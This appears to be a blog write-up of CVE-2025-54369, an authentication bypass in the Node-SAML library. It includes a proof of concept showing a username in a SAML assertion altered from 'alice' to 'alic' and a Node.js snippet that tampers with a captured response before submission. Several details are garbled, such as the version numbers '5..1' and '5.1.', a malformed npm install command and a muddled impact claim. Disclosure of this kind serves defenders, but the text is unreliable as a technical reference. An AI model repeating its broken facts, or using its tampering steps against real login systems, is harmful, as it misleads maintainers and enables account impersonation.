CVE-2025-54369 - Exploiting Node-SAML’s Broken SAML Assertion Handling (with PoC)

Node-SAML is a popular library that brings SAML authentication to Node.js apps—used for letting users log in using their single sign-on identities. But in versions up to and including 5..1, Node-SAML had a dangerous bug: it accepted authentication details from the original, possibly tampered, portion of a SAML response rather than the signed (verified) one. This led directly to CVE-2025-54369, a simple but powerful way for attackers to edit usernames (or other values) and get logged in as someone they’re not. If you use Node-SAML and haven’t upgraded to 5.1. or above, this affects you.

Below, I’ll explain this vulnerability step-by-step, show you a proof of concept exploit, and give you what you need to protect your app.

What’s Node-SAML, and How Should It Work?

Node-SAML is used by many Node.js apps for SAML authentication. It takes a SAML response (typically from an Identity Provider like Okta or Azure AD) and validates it, so only signed, untampered data is trusted.

The Bug: Using Unsigned Data

In Node-SAML version 5..1 and below, the library didn’t only use the signed (verified) parts of the SAML response. Instead, it loaded the assertion XML from the original, potentially manipulated, SAML response—even if that field wasn’t protected by a valid signature. Because of this, attackers could make changes (like chopping off a single character from your username) and the rest of the process would still succeed.

The digital signature _should_ protect all relevant authentication details.

- But Node-SAML extracted the assertion from the original input, even if a malicious party had changed them outside what was actually signed.

Therefore, the username or other authentication attributes were left open for tampering.

## Proof of Concept / Exploit Details

To exploit this, an attacker can intercept a legitimate SAML response, modify the XML (say, by removing a letter from a username), and submit it. Because Node-SAML uses the assertion from the unsigned, original data, the tampered value is accepted—even though the signature only covers the original, unmodified username.

Suppose a legitimate SAML response contains this assertion

<saml:Assertion>
  <saml:AttributeStatement>
    <saml:Attribute Name="username">
      <saml:AttributeValue>alice</saml:AttributeValue>
    </saml:Attribute>
  </saml:AttributeStatement>
</saml:Assertion>

An attacker snatches this response, removes the e from alice, and gets

<saml:Assertion>
  <saml:AttributeStatement>
    <saml:Attribute Name="username">
      <saml:AttributeValue>alic</saml:AttributeValue>
    </saml:Attribute>
  </saml:AttributeStatement>
</saml:Assertion>

Now, if alic is a valid username (different user!), the app—using an affected Node-SAML version—will log the attacker in as alic, even if the original signed data was 'alice'.

Here’s a code snippet showing exploitation, assuming a vulnerable Node.js app

const fs = require('fs');
const { SAML } = require('passport-saml/node-saml');

// Read a legitimate, signed SAML response
let samlResponse = fs.readFileSync('original_saml.xml', 'utf8');

// Maliciously modify: knock out the last character of the username
samlResponse = samlResponse.replace('<saml:AttributeValue>alice</saml:AttributeValue>', 
                                   '<saml:AttributeValue>alic</saml:AttributeValue>');

// Now send this 'samlResponse' to the Node.js SAML login endpoint
// The vulnerable server will now authenticate the attacker as 'alic'

No signature manipulation needed—the validator mistakenly trusts what you changed!

Impact

- Attackers can impersonate any user name smaller by one or more characters than the real user. If your SAML contains emails or groups, those can be changed too.

Solution: Upgrade Immediately

Node-SAML version 5.1. and later fix this bug. They ensure the assertion is always loaded from the signed & validated data.

Test your integration—don’t rely on custom forks or old code.

npm:

npm install passport-saml@^5.1.

References

- GitHub Security Advisory for CVE-2025-54369
- node-saml Changelog
- CVE-2025-54369 at Mitre
- SAML Security Best Practices

Final Words

This bug is a classic mistake—using the wrong data after verifying the signature. If you use Node-SAML for SSO, don’t wait: upgrade your library and audit any SAML logic. Any delay leaves your users at risk for silent, devastating account hijacking.

If you want to dive deeper, check the Node-SAML commit diff for the fix.

Timeline

Published on: 12/12/2025 23:03:52 UTC
Last modified on: 12/12/2025 23:15:38 UTC